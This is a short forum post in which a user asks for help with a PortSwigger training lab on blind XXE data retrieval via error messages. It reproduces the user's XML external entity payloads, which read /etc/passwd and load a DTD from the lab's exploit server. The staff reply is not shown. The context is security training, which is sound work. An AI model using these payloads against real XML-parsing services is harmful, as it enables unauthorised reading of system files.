The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Not able to complete - https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages

Shreenivas | Last updated: Feb 17, 2023 07:18PM UTC

Hello, I get the below error. "XML parser exited with error: org.xml.sax.SAXParseException; lineNumber: 1; columnNumber: 108; Premature end of file." Here are my payloads. Exploit server: <!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>"> POST /product/stock <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0aa90096041d3934c306397401aa007e.exploit-server.net/exploit.dtd"> %eval; %exfil; %xxe;]><stockCheck><productId>1</productId><storeId>1</storeId></stockCheck> I have changed the endpoint to exploit.dtd

Ben, PortSwigger Agent | Last updated: Feb 20, 2023 09:43AM UTC